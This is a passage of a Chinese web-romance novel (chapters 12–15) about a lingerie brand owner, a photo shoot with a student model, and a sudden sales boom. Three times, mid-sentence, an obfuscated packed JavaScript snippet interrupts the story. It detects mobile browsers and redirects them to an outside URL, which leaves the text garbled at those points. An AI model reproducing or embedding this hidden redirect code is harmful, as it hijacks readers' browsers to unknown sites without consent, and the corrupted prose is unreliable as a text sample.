绪东阳虽是第一次拍摄,但他状态不错,没有紧绷感。他自然地走到了丁晞珍指定的地点,摆好动作。 第一个画面是他用手臂环抱住小月的脖颈,营造一种被掌控的氛围。这个画面不需要绪东阳露脸,主要突出他的手臂线条。 绪东阳摆了几次,丁晞珍都很满意,“状态很好啊!再来几张。” 郑芳和谈丹青在个后方左侧看监视屏。 “他真的还行,”郑芳说:“比我们之前找的那个玻尿酸靠谱,我心里悬着的这块石头总算是掉地上了。” 胡小样冒星星眼,用手机拍了几张,美滋滋地说:“我有预感这款要卖爆了,肯定10万加。” 谈丹青也笑了笑,看向监视屏。 3.5mm是最诚实的镜头。 它拍摄的画面,最接近人眼看到画面。 谈丹青之前总把绪东阳当小孩看,毕竟他和自己的弟弟差不多大。 可看着镜头里的少年,她很难再将他当成小孩。他在镜头前做出的每一个极具侵略感和荷尔蒙的动作,都表明他早就是一个已经完全成熟了的年轻男人。 第二个画面是拍手,特写绪东阳的手指怎么拉扯开内衣肩带, 绪东阳的手背指节上有血痂,那些深浅不一的斑驳伤痕,在强光下格外醒目,令人浮想联翩。 “动作幅度再大一点,”丁晞珍在镜头后指挥,“是没吃饭吗?撕。” "嘶啦——"肩带应声而断。 小月笑出了声。 丁晞珍疯狂按着快门,“啧啧啧,太带感了太带感了啊。” 她对抓拍到的画面相当满意,那满满性张力都要溢出来了。 “这组不能发啊,”谈丹青佯装严肃,笑着说:“发出去大家还以为我们产品质量有问题啊。” 一句玩笑话,引得大家哄堂大笑,气氛更加融洽。 后面几组就拍到露脸,绪东阳需要面向镜头。 摄影棚里的光线修饰人脸,显得绪东阳本就凌厉的五官更加清晰,光是光影是影。镜头拉近,反而越出片,越有大片质感。 但快门响了几声,丁晞珍却忽地停了下来,沉默着回翻刚刚拍的照片。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569647|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样?”谈丹青走过去问。 “还行……”丁晞珍将相机屏幕转向谈丹青看,说:“构图光线都没问题,但总感觉差了点味道,眼睛里少了点东西。” 谈丹青回看照片,也觉得眼神少了点什么,和他平时看人的眼神不大一样,但是她又一时说不上来是哪里不同。 “就是没有那种,那种看自己爱人的感觉。弟弟,”丁晞珍转向绪东阳,抬了抬下颌,说:“问你个事,你别介意啊。” “嗯。”绪东阳点头。 “你谈过恋爱没?”丁晞珍问。 谈小白看热闹不嫌事大,笑哈哈地插话:“阳哥不谈的。他就是我们学校的‘高岭之花’,谁都不搭理,哈哈哈哈,我们学校的女生都快哭了。” “啊?”丁晞珍很是意外地挑了挑眉。 “这样很难办吗?”谈丹青问。 “嗯……”丁晞珍说:“会有点麻烦。你们别不信,镜头真的是一种玄学,谈没谈过,是不是处,镜头拍得出来。所以有时候看电视上,男女演员荷尔蒙很足,眼神拉丝,大概率真爱上了,那玩意儿演不来。” 郑芳看了看照片,说:“其实现在这几组已经很不错了,挺抓人的。” “倒也是,”丁晞珍说:“我这也老毛病了。” 谈丹青说:“要不先休息一会儿吧,也拍好久了。休息完了,再拍一组。要还是找不到感觉,就从现有的素材里挑吧。” “行。”丁晞珍说。 模特小月去休息室补妆,谈丹青走向独站在原处的绪东阳。 “对着镜头紧张?”她问。 绪东阳找不到感觉,谈丹青其实也挺意外地,她经常能从他身上感觉到外放的攻击力,有时候这种感觉甚至会让她有些不适。 “没。”绪东阳连睫毛都没颤动一下,只是极轻地摇了下头,沉声回答。 “对,”谈丹青点了点头,说:“本来就普通拍照啊,没什么好紧张的。今天你帮了大忙。” 丁晞珍正喝着咖啡,回头看见绪东阳和谈丹青说话。她一怔,立马重新抱起了相机,一连串快门声如急雨般响起。 谈丹青从画面中退开,来到丁晞珍身侧。 “现在眼神就对味儿了,”丁晞珍非常满意地回看照片。 照片里,摄影棚杂乱的布景和道具散落在角落,谈丹青背对着镜头,身影窈窕如烟,垂头和绪东阳说话。绪东阳则微昂起头,迎着光的脸,目光沉沉。那道眼神像是被什么牵引,专注得近乎执拗。 这就是她想要拍出来的情绪,爱得深刻,但表达得克制。 “你刚刚跟那小孩儿说什么了?开窍神速啊。”丁晞珍问。 “没说什么,”谈丹青说:“可能他自己聪明吧,我就让他别紧张。” 绪东阳找到状态,小月重新归位。照片再拍下来,神奇得感觉到位。 “怎么样?还要继续拍么?”谈丹青问。 “不用啦,”丁晞珍满意地说。她重新回看刚拍的照片,按回看键的手指突然顿了顿。 她忽地发现,绪东阳的眼神有几张似乎有些不对,没有正向镜头,而是看向镜头偏左侧的地方。这样的照片连续有好几张,他在看什么呢?放大,再放大,丁晞珍顺着绪东阳眼神偏移的方位回溯,突然意识到了什么。 刚刚这组照片里,绪东阳其实并没有看着镜头。 他一直都在看,站在镜头旁边的谈丹青。 13. 第 13 章 金乌西沉,拍摄工作收工已是下午三点多。小月他们团队乘车回经纪公司。丁晞珍利落地将最后一件器械装箱,心满意足地拍了拍机顶箱,对谈丹青说:“今晚第一批成片发你邮箱。” “好。”谈丹青说:“辛苦你了,帮了我大忙。” 丁晞珍说:“这话就不用说啦。” 裴航之也过来跟他们打个招呼,黑色飞行员夹克外套口袋里,突然探出一只毛茸茸的橘色小脑袋,瞪着琥珀般大的圆眼睛,滴溜溜地到处看。 这只小橘受了点伤,耳朵尖上的毛缺了一小块,看起来可怜巴巴。 “呦,裴队这是又收编新成员了。”谈丹青开玩笑说:“每次看到裴队都很紧张啊,总担心哪里违反了消防规定。” 郑芳悄悄拽了拽她的手臂,在她耳畔提醒了一句:“他现在又升了,不能叫裴队。” 裴航之挠了挠小猫的下巴,小家伙立刻眯起眼睛,舒服得直打呼噜,“平时注意消防安全是很必要的。” “走啦走啦。”丁晞珍挽住裴航之的手臂,“我真快要饿死了。” * 另一头,绪东阳换好了运动卫衣,正往背包里装水壶。谈丹青踱步过去,说:“绪东阳,今天可多亏你救场,午饭都没顾上吃吧?走,我带你一起去吃饭。” 炒菜太单调,火锅太麻烦,烤肉又太腻。最后谈丹青决定——吃烤鱼。完美解决所有问题。 她公司楼下就有一家生意很好的烤鱼店。据说这家店用的花椒是“清溪贡椒”,入口味麻但不麻心,有一种独特的香味。不过真正的“清溪贡椒”市面上很难买到,大概率只是噱头。 烤鱼店面很有年头,装修也不豪华,保留着八十年代的质朴风。墙壁上有炉火常年熏烤的黑褐色印记,但桌椅灶台都收拾得非常干净。 除了烤鱼,还有七八种热菜全用大方口不锈钢锅码着,整整齐齐地排在案台上,想吃什么就让服务员盛,价格另算。 这个点早已过了吃饭的时候,烤鱼店的生意依旧热闹,三五张桌子都坐满了人。厨房明火明灶,服务生端着铁锅送餐,狭窄的走道人来人往。 谈丹青正要穿过拥挤的走道,忽然感觉身后笼上一层温热的气息。绪东阳不知何时已经贴近,他宽阔的肩膀为她隔开涌动的人潮,像一道无声的屏障。 有人踉跄着撞过来,他的手掌稳稳扶上她的肩头。少年掌心的温度透过单薄的衣料传来,烫得她心头一颤。那热度仿佛带着电流,从肩头一路窜到耳根,在喧嚣的烟火气中格外鲜明。 两人好不容易挤到了一个角落空位坐下,服务员举着小本本过来点菜,“吃什么?” 现在随处可见都是二维码扫码点单,还用手写菜单的店已经很少见了。 “烤鱼,口味来个双椒的吧。”谈丹青对这家店很熟,没看菜单,用筷子戳碗上的塑料膜,“嘭”的一声响。 “中份大份?”服务员问。 “大份。”谈丹青说:“忙到这个点什么都没吃,要饿晕了。” 这家分量很足,每次她和谈小白来,点中份就能吃得差不多,但绪东阳食量要偏大些。 服务员记下了,问:“酒水呢?” “来个娃哈哈,”谈丹青说完自己就已经忍不住笑。 绪东阳果然嘴角抽搐,“谁喝?” 谈丹青笑了好一会儿,说:“好啦好啦,我喝。你呢?” 绪东阳看菜单,正好翻到了酒水这一页,谈丹青说:“不许点酒啊。” “可乐吧。”绪东阳说。 服务员去后厨下单。 绪东阳虽然沉默寡言,但总把每个细节都照顾得妥帖。他用热水涮了涮餐盘和筷子,连筷尖都仔细烫过。 “这家店里还有炒菜,想吃什么就去拿,反正我买单。”谈丹青怕绪东阳又拧巴,特意补充道:“这餐可不算请客,就是吃个便饭。” “你想吃什么?”绪东阳起身问她。 谈丹青有点热,将脑袋对着小风扇吹风,说:“随便,你看着端吧。” 绪东阳打了两碟红烧牛肉和咖喱鸡翅,在烤鱼上桌前先吃两口。 “正事差点忘了。”谈丹青忽然想起了什么,从钱夹里抽出一只信封,递给绪东阳,说:“这是你今天的钱。” 绪东阳接过信封,一掂便觉得手感不对,里面至少有一千块了。 打开一看,果然厚厚一沓。 “这里面有一千。”谈丹青说。 “一千?”绪东阳讶然。 谈丹青解释道:“对,那个玻尿……那位男模特出场费是九百。这九百给你,然后还有今天兼职的钱。” 绪东阳拿着钱,半垂眼皮不知道在想什么。 “你也别觉得这钱来得快,不高兴去上学。九百块听着不少,可经纪公司要抽走大半,拍摄的活还不是每天都有。哪比得上踏踏实实读书靠谱?” 谈丹青说起话来老气横秋,但她频频回头,朝开放厨房张望,期待上菜的神情,又和普通年轻小女孩儿没什么区别。 这家上菜速度很快,不一时烤鱼就上了桌。鱼肉一看就是鲜货,雪白的鱼身在滚烫的热油中微微卷曲,金黄的鱼皮炸开细密的气泡,在铁板上滋滋作响。厚厚一层红色的辣椒油青色的花椒铺满过热油,红红绿绿,光是看着就让人舌底生津。 谈丹青便不多说废话,拾起筷子就开吃。 烤鱼配了各种调味料,可以自行发挥。 绪东阳没动筷,先调蘸碟。 谈丹青空口吃了几筷,食欲暂时满足,也停下来捣鼓起那些瓶瓶罐罐。 奈何她在厨艺上实在没什么天赋,任何食材到了她手里都会变成一盘灾难。黑漆漆的酱油和醋混成一滩,葱花蔫巴巴地浮在上面,再被胡乱一搅,活像墨鱼仔的呕吐物。 谈丹青非死犟,硬是夹了一筷子鱼肉蘸酱吃,“咳咳咳……”咸得直皱眉,“太难吃了。”蘸酱味道远不如空口吃。 “换这个,”绪东阳将已调好的蘸碟换到了谈丹青面前。自己另调了一碟。 小碟子里盛了麻酱、香油、葱花、芝麻,一丢丢糖,最后又在面上浇了一圈辣椒油,色香味俱全。 谈丹青蘸酱再吃,好吃到舌头都要掉了。她意犹未尽地啧啧嘴,绪东阳刚刚怎么调的来着?她只看到了一半,总觉得还有几样他放的调料没看到。 蒸腾的热气氤氲而上,如一层朦胧的薄纱,轻轻笼住谈丹青的脸庞上。 她身子微微前倾,目光尤其专注地紧盯着面前的烤鱼。烟雾缭绕里,那双眉眼柔和、明亮,充满了对美食最虔诚的渴望,连唇角都不自觉地扬起一抹期待的笑。 “绪东阳,你以后打算考去哪儿?”她随口问。 谈丹青随口一问,却绊住了绪东阳的思绪。又是这个问题,以后、未来……他知道世界很大,浩渺无垠,但他却怎么也想不出一个确切的方向。 “不知道,再说吧。”他抿了抿唇,拾起竹筷,对齐,声音低而淡。 “再说?”谈丹青哑然失笑了一声,像是听到了什么荒唐事,“高考就在眼前了,哪儿还能‘再想’。你成绩比谈小白好,以后能去的地方可太多了。” 绪东阳忽地抬眼向谈丹青。小小铁炉下烧着固体酒精块,那火光倒影在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569648|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的眼底,像是落入了一把细碎的星辰。“那你呢?你有想过以后吗?” “当然了啊,”谈丹青毫不犹豫地应声,眼底骤然亮起灼灼的光。她微微扬起下巴,手举到胸口,然后高高抬起来,仿佛满腹雄心壮志,要摘下头顶朗月,剑指银河。 “我以后要成立自己的品牌,遍布全国,不,遍布全球,名字就叫‘丹心’!” 说到未来、梦想,谈丹青那双明媚的眼睛里就迸发出一种难以言喻的光芒。蒸汽腾腾的烤鱼小店留不住这道耀眼的光芒,它仿佛一路照到了很远很远的地方——远到法国香榭大街,纽约的时代广场,米兰的时装周国际展览中心…… 这些关于未来的豪言壮语,不切实际,好高骛远,但偏偏因是从她嘴里说出来,竟显得那么真实可信——仿佛只要是她想做的,就一定能做到。 “丹心……是哪两个字?”绪东阳问。 他不自觉地坐直了身体,喉结轻轻滚动。 他发现自己在期待谈丹青继续说下去,想听她描绘更多关于那个叫"丹心"的梦想。 “谈丹青的‘丹’,心意的‘心’。丹心,就是我谈丹青的心意。”谈丹青嘴角噙着热烈张扬的笑,声音清亮又笃定。 “不过,到时候媒体采访我,问我名字的来源,我肯定不会这么说。”她呷了块鱼肉,心满意足地咽下,“我得立一个超有文化的人设,说取自诗歌:‘留取丹心照汗青’。” “你知道这诗什么意思么?” “不知道,”谈丹青无所谓地耸了耸肩,没有丝毫自卑,反而带着几分理直气壮的坦荡,“我读书哪儿有你多。就听着好听,还有我的名字。” “这句诗其实讲爱国的。”绪东阳望着她吃辣泛出微红的脸颊 “哦。”谈丹青眼睛一亮,突然笑开,说:“那不正合适吗?我可是很爱国啊。” 谈丹青正眉飞色舞地说着,筷子尖不小心拨开了一粒青花椒,突然“滋啦”一声,一滴滚烫的油星飞溅起,正好烙在她的手背上。 “嘶——”她倒吸口凉气,电光火石间,对面伸来一只骨节分明的手,扣住了她的手腕。 “别动。”绪东阳的声音比平时低沉,带着不容抗拒的意味。 谈丹青呼吸滞了滞。少年的手掌温暖干燥,指腹却带着薄茧,在她肌肤上摩挲时激起一阵细微的战栗。 他皱眉的样子格外认真,浓密的睫毛在眼下投下一片阴影。这个距离太近了,近到她能闻到他衣领上阳光晒过的味道,混着烤鱼的麻辣鲜香。 她慌忙想抽回手,却被他握得更紧。四目相对的瞬间,她发现绪东阳的睫毛在灯光下投下一小片阴影,眼神却比平时柔和许多。这个发现让她心头一颤,赶紧移开视线。 “不马上处理会起泡。”绪东阳松开手,却还保持着俯身的姿势。谈丹青这才注意到他们之间的距离近得几乎能感受到对方的呼吸。 他从口袋里掏出一包纸巾,用矿泉水打湿后轻轻敷在她手背上。冰凉的触感让她瑟缩了一下,却被他稳稳地固定住手腕。 "只是有点红,应该没事。"绪东阳说,他直起身,手指拨动烤鱼炉的旋钮。火苗倏地矮了下去,锅里沸腾的红汤渐渐平息,只剩下零星的气泡还在咕嘟作响。 谈丹青拨了拨耳后的碎发,声音有些发紧,苦中作乐地笑说:“还真是,乐极生悲啊……” 桌上的手机突然震动起来。 屏幕亮起的瞬间,绪东阳不经意瞥见那个刺眼的备注名——"魏繁星"。 三个字在通知栏里跳动着。 像一根细小的刺,悄无声息地扎进眼底。 14. 第 14 章 繁星:【朋友圈是你?】 魏繁星? 谈丹青盯着屏幕上的名字愣了两秒,才从记忆的犄角旮旯里翻出这个人 那天晚上气氛很好,灯光昏沉、酒意微醺,她和魏繁星分享了那根烟头上微暗的火苗。 魏繁星是个长相不错的男人,气质稳重矜贵。或许在某一瞬间里,她的确有过心跳快一拍的快乐。但现在时间已经过去了这么久,短暂的心跳加速早就被抛之脑后。 现在看到这条熟悉到令人作呕的开场白,谈丹青气极反笑。 她噼里啪啦敲字,一通暴风输出—— Tdq:【你们男的脑子里除了裤.裆那二两肉就没别的了是吧?我朋友圈是不是本人关你屁事?你妈穿不穿内衣你也管?滚!】 发完,她长舒一口气,拇指悬在魏繁星头像上,准备一键送他进黑名单。 这时,魏繁星又发来一条新消息—— 繁星:【我想,你可能误会了什么。】 谈丹青手指没停,继续长按。 繁星:【我刷到你朋友圈在找MCN资源,刚好认识几家老板。】 三张名片连续出现在聊天框,其中一张让谈丹青眼皮一跳——吕力鼎。 她托了好几层关系,在饭局上见过。但饭局上客客气气交换了微信,散场后在发去的消息,全都石沉大海。 她知道她的小工作室,在吕力鼎眼里大概连个水花都砸不出来。所以她才退而求其次,找了周礼。 可魏繁星,居然随手就把吕力鼎推了过来。 Tdq:【你认识吕力鼎?】 消息发出去,对面一片死寂。 没有“正在输入”,没有“已读”,连个敷衍的“嗯”都没有。谈丹青盯着屏幕,忽然觉得自己可笑——到底在期待什么? 她正要锁屏—— “叮。” 屏幕亮起。 但不是魏繁星。 是那个连她消息都懒得回的吕力鼎。 吕力鼎:【谈小姐,听魏总说,您这边在找MCN合作?】 谈丹青顿时有一种做梦的感觉。 她迅速回复了一个“是”字,将吕力鼎稳住。 然后绞尽脑汁地斟酌,要怎么跟吕力鼎介绍她公司的情况。 对话框上方立刻显示"对方正在输入",吕力鼎的消息来得比她预想的快太多:【周五下午高管例会,正好可以过下会。】 谈丹青盯着屏幕,突然有一种想笑的无奈。 她怎么也办不到的事,原来只是其他人的一句话。 Tdq:【抱歉,刚才误会你了。吕总已经联系我了,真的很感谢了。】 这次魏繁星回复得很快。 繁星:【没事】 繁星:【不过……】 繁星:【要是真觉得抱歉,不如请我吃顿饭?】 谈丹青盯着那个问号,指尖在手机壳上轻轻摩挲。 Tdq:【行。魏总什么时候有空?】 繁星:【你别跟着他们叫魏总】 繁星:【叫我繁星就行】 繁星:【时间你定吧】 Tdq:【周五下会?】 繁星:【OK。】 繁星:【加油。】 后面跟了一个小小的笑脸emoji,在屏幕上跳动。 谈丹青并不喜欢这种感觉——仿佛被人突然塞进了一把钥匙,却不知道门后藏着什么。 这些年她一直都是单枪匹马往前闯,早习惯了"打落牙齿和血吞"。魏繁星施舍般的援手来得太轻易,轻易得让她惶恐不安。她害怕自己会在不知不觉里将这份轻松当成理所当然,直到某天突然如梦初醒,发现自己赖以生存的手,竟已攥不住自己的命运。 谈丹青咀嚼着早已凉透的烤鱼,筷子无意识戳着碗里散烂的鱼肉,满脑子都是吕力鼎的会议邀约,和魏繁星那句意味深长的"加油"。 不曾留意绪东阳悬在半空的筷子,指节因用力而泛出的青白。 绪东阳没有放过她脸上闪过的一丝一毫的颤动。每一次因手机震动而嘴角上扬的弧度,忽然加快的呼吸。期待、失落、惊喜万分……那么多的情绪,全被这个叫魏繁星的男人,捏在了手里。 “男朋友?”绪东阳继续慢条斯理地挑鱼刺,然后状若不经意地开口道:“你这么忙,他怎么不来陪你。”声音平淡得像在讨论天气。 “哈?”谈丹青噗嗤笑了一声,说:“小孩儿少打听。” * 烤鱼草草吃完,一回家,谈丹青敷了一张面膜,就打开电脑开始准备周五的材料。她将手机支在桌子上,拨通郑芳的电话。 “猜猜谁联系我了?”谈丹青说:“吕力鼎!” “吕力鼎??”连郑芳都很吃惊,“那个吕力鼎?他们公司不是不接粉丝千万级以下的号么?” “嗯哼,”谈丹青说:“上次我去见周礼的时候,意外认识了一个朋友,他帮忙牵了线。” “什么朋友?”郑芳那头声音危险起来,“你还有我不认识的朋友?谈丹青,你不爱我了……” “就见过一面,”谈丹青说:“我转头就忘了,叫魏繁星。” “魏繁星?”郑芳迟疑地反问,然后声音陡然抬高了八度,“那个魏繁星???” 谈丹青正在电脑上搜魏繁星的名字,搜索页面各条新闻照片弹了出来,她微微咋舌,“对……就是那个……” “我去,竟然真是那个魏繁星……” 谈丹青说:“他到底什么来头?” “就这么跟你说吧,”郑芳说:“你知道我爸吧。我爸算是很有头有脸的人物吧,去年我大哥还接到了几千万的项目。但是你知道每年过年,我爸都要去哪儿吗?要去魏繁星他们家,给他爸拜年。” 谈丹青说:“有点吓人了。” “是啊,”郑芳话里有话地提醒道:“这个魏繁星,我在圈子里也听说过。怎么说呢?就挺典一公子哥。百花丛中过,片片叶沾身。而且,他后面的路他家是早给他铺好了的,不会变。” 郑芳这番话说得很委婉,谈丹青听懂了弦外之音—— 魏繁星这样的公子哥,游戏人间的资本与生俱来,家里早为他备好了门当户对的未婚妻,只等他玩够了收心。 “你怎么想的?”郑芳问。 “我?”谈丹青一边跟郑芳聊天,一边给胡小样发消息,让她将公司一些数据资料发过来,“我能怎么想。” “我还不知道你?靠男人吃饭,和靠自己吃饭,吃的是两碗饭。你要真想攀高枝,早八百年前就攀了。”郑芳说:“我是怕你不喜欢年下,就喜欢年上啊。” 谈丹青嘴角抽搐,说:“我打工呢,打工人的世界里没有爱情,只有ppt。” * 整间花团锦簇的包厢地面是一张玫瑰色羊毛毯,在灯光下闪出一对极繁茂的牡丹花,地毯毛软而长,远远看起来像是翻滚起红浪。包厢正中一盏水晶吊灯下,老式红木牌桌上堆着成摞的筹码。 魏繁星和朋友打牌,每个人的手腕上都戴了宝石袖扣或是劳力士金表,胸口别金质领带夹,被头顶大光灯一照,十足珠光宝气。 在一众矜贵公子哥里,魏繁星也是格外扎眼的那个。修长的手指夹着一张黑桃K,漫不经心地丢在丝绒桌布上。 “繁星啊,”邻位贺达跟他套近乎,说:“我听小吕说,你今天介绍了一家小公司到我这儿啊?” 魏繁星没抬眼,只懒懒地“嗯”了一声,指尖拢起牌面,在桌上轻轻一叩,示意下家快些出牌。 贺达说:“怎么换口味了啊?这次不是小妹妹了?” 魏繁星懒倦地说:“一个刚认识的朋友。快出。” “还朋友,”贺达笑骂了一声,说:“知道啦,既然是你的小情儿,那我肯定是会好好照顾的啊,放心啊。” 魏繁星扬扬眉,没否认。 打到凌晨散了场,贺达安排了几个网红陪着一起走。 魏繁星本来觉得累,没这个心思,但目光扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574653|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中一个:皮肤极白,眸黑而亮,虽逊谈丹青眸中的光华,但有几分神韵。他多看了那女孩儿几眼,贺达便立刻打了个手势。那女孩便乖顺地走到魏繁星身边。魏繁星没拒绝,带着她一同离开。 * 谈丹青做着公司介绍材料,邮箱突然收到邮件。丁晞珍发来了今天拍摄照片,谈丹青忙点开看。 其实刚拍出来的原图,谈丹青已经觉得很有感觉了。没想到经过丁晞珍的调色和修图,图片可以用震撼两个字来形容。 绪东阳的镜头表现力非常好。 野性满满。 谈丹青定了三张一组,没发公司账号,先在自己用的小号上偷跑一波。 红果绿果小苹果:【悄咪咪放一波预告,马上上新哦!】 谈丹青挂上链接,发出去,就又回头做手头事。她正做得昏天黑地,才发现微信消息已经99+ 工作群已经炸开了锅。 胡小样:【啊啊啊啊啊!!到底发生了什么??怎么就突然爆单了????】 小A:【千转了……】 小B:【还千转,我刚刚看已经五千多了,热度一直升,都爬上低位热搜了。】 胡小样:【接10万加!!接接接!】 小A:【接接接!!】 小B:【冲冲冲!!!】 谈丹青这才如梦初醒地点开小号。 小红点已经到了999+。 这条微博下评论乱飞: 1L:【到底卖什么的?卖模特吗?】 2L:【这是什么宝藏小店啊!!!怎么会每一件都这么好看!!!!我进去逛了一圈,已经下单六件了……】 3L:【呜呜呜呜……我的宝藏小店终于要被大家发现了吗?】 4L:【说到小……模特那里……】 …… 谈小白赖在绪东阳屋打游戏,在别人房间打游戏,总感觉比在自己狗窝里打游戏有手感一些。绪东阳在台灯下安静地做题。忽地谈小白跳了起来,将他锁喉,“快快快,进群进群!我姐在群里发红包呢。” “什么群?”绪东阳问。 “我姐公司的小群。”谈小白说。 绪东阳进了群,就被刷屏了。 【欢迎弟弟!】 【欢迎弟弟!】 【欢迎弟弟!】 【欢迎弟弟!】 【欢迎弟弟!】*20 …… 绪东阳:“……” 后牙槽已经咬得隐隐发酸。 谈丹青在发红包,已经发十个了,每个红包都有小一千,并且还是等额发,对脸黑党简直是菩萨转世。 谈丹青发完郑芳发。郑芳也是十个,每个一千,不过是随机。 “这个只有50,脸太黑了吧。”谈小白乐死。 他见绪东阳不抢,说:“你干嘛呢?快抢啊!” “不用。”绪东阳说,“我只兼职了一天。” 他不想再拿谈丹青的钱。 更不想当“弟弟”。 这个称呼像将他框进了一个被照顾的、被包容的位置,意味着他永远只能站在她的生活边缘做一个旁观者。可他不想停在这里。 “矫情!”谈小白闻言吹胡子瞪眼,说:“我姐特意要我把你拉进群的,兼职怎么了?兼职没干活吗?我姐给大家发钱,你快去领,然后和我们一起说‘老板大气’,给我姐好好提供情绪价值。” 谈小白一把夺过绪东阳手机帮忙领取,结果炸了:“500????你抢的怎么是500???不公平啊!” 抢完红包,绪东阳起身去客厅倒水。 夜已深了,客厅只亮着一盏落地灯。谈丹青蜷在沙发里对着笔记本办公,暖黄的光晕染着她的轮廓。她穿着件宽松的白色睡衣,发丝随意挽在耳后,整个人像是笼在柔光里。 绪东阳停在原地。 "还没睡?"谈丹青闻声抬头,屏幕的蓝光映着她清亮的眼睛,"正好,来看看你的成片。" 15. 第 15 章 家里沙发很小,谈丹青对他的体型完全没概念。这张沙发她和谈小白两个人坐或许刚刚好,但当他坐下,绝对会把她挤到角落。 他朝沙发走去,没坐下,上身倚着布艺扶手。 谈丹青却神情古怪地回头望他,说:“你站着干嘛?” 绪东阳个子实在太高,站在她背后,越过她的肩膀看电脑屏幕,总给她一种被监视的怪异感。 “你坐过来一点呀。”她递扔过去一只粉粉嫩嫩的小花猫咪抱枕,“我都担心你会掉下去。” “嗯。”绪东阳只能从扶手上滑下来,他两腿有意并在一起,没有像平时在学校那样大岔着。 膝盖和谈丹青穿着短裤的发白的腿,只隔一层纸的距离。 她有时候会乱动,一动沙发便跟着往下凹,带着一股热气扑过来。 绪东阳坐下后,谈丹青立刻也意识到沙发太小。 盘在沙发上的膝盖轻轻地撞在绪东阳的大.腿外侧。 但毕竟是她主动提议要他过来,又赶他坐到地上去,实在莫名其妙。她只能有些尴尬地将毛毯往身上掩了掩,和他身上的热气隔开。 丁晞珍今晚一共发来了三批海报,一批九张,一共三十二张,明天会再发来最后一批。 她留言说,最后一个压缩包里存着几组后台花絮。虽然不适合商用,但那些照片太有氛围了,让她舍不得删。 “今天的照片拍得真心不错。”谈丹青看着屏幕,手指哒哒点着鼠标往后翻。 绪东阳扫过屏幕,自己的脸突兀地填满画面。无关相貌,单是这种视角就透着说不出的怪异。 尤其是,还要被谈丹青一直盯着。虽然他知道她其实更关注的地方是女模特穿的内衣。 谈丹青手机震了震,她看了一眼,说:“丁晞珍问你毕业后考不考虑当兼职模特。” “不了。”绪东阳回答。 “行,她也只是问问。”谈丹青说。 “其实,”谈丹青忽地抬头,仔细地盯着他看了一会,说:“你长挺帅的。” 绪东阳的呼吸停滞了一秒。 喉结上下滚动,嘴唇微微分开又合上,最终只挤出一个含糊的“嗯”。 “我是说真的,”她将他和照片上的人进行对比,“这张侧脸特别有轮廓感。你鼻梁很高,男生鼻梁高丑不到哪去。” “真没谈恋爱?” “没。” “有女生追吗?” 绪东阳点了点头。 谈丹青发出一声嗤笑,说:“高冷啊。” “学生时代还是要多谈谈啊,在不影响学习的情况下。”谈丹青像过来人一样,语重心长地说。 “你谈过?”绪东阳问。 “我跟你又不一样。”谈丹青说:“我当时是没条件,不然我肯定大谈特谈。” 绪东阳没说话,盯着谈丹青的侧脸。 她跟他差不多大的时候,会是什么样子?脸上应该有点婴儿肥。 “咦……”谈丹青按下放大键,目不转睛地盯着屏幕,说:“以前怎么没注意到她这款肩带可以再细一点啊,” 她将画面定格在女主的胸衣上,又在笔记本上唰唰画了两笔。一副内衣设计图立刻出现在纸上。 绪东阳不懂设计,他只是直觉谈丹青随手画的这两笔很顺,布料的褶皱感都能表达出来。 “你会速写?”绪东阳有些意外,他一直以为谈丹青没专业学过。 谈丹青立刻笑了起来。她笑的时候,眉眼很弯,给人一种开朗阳光的感觉。 “没,我哪儿有这个条件?都是自己瞎画的。” “画得很好。”绪东阳说,“很像。” 谈丹青受到鼓舞,将笔记本往前翻,“我画了好多,好看吗?” “好看。” 两人头碰头翻着谈丹青的速写本。本子被几百页画稿撑得鼓胀,纸边磨出了毛茬,厚度足有原先两倍。 看了十来页,谈丹青突然将笔记本合上,头一扭,冲他发难:“不给你看了,你就想看女生内衣。” “不是……”绪东阳有口难言。 他想解释自己真不是借机偷看内衣的变态色魔,但一时瓜田李下说不清。正尴尬着,突然发现谈丹青的耳朵红了。 他以为是光线作祟,看花了眼。 可定睛再看——谈丹青的耳尖确实泛着红。 心尖突然被什么轻轻撞了一下。原来她刚才气急败坏地"污蔑"他,不是刻薄,不是戏弄,只是不习惯被人这样直白地夸奖。 “你画得特别好。”他垂眼合上本子,声音里带着和他年龄不相符的耐心,“特别特别好。” 谈丹青才不在乎小屁孩的评价,她撇过头去,嘴角却控制不住地上扬,赶紧用速写本挡住半张脸。 从纸张边缘偷偷瞄他一眼又迅速收回视线,小声嘀咕:“你还有点眼光。” 桌上手机一直震,绪东阳看了一眼,群里人一直在聊天,今晚算是个不眠之夜。爆单10w加,听胡小样说,他们一件利润20,所以即便减去退货率,今晚进账100w是有了。 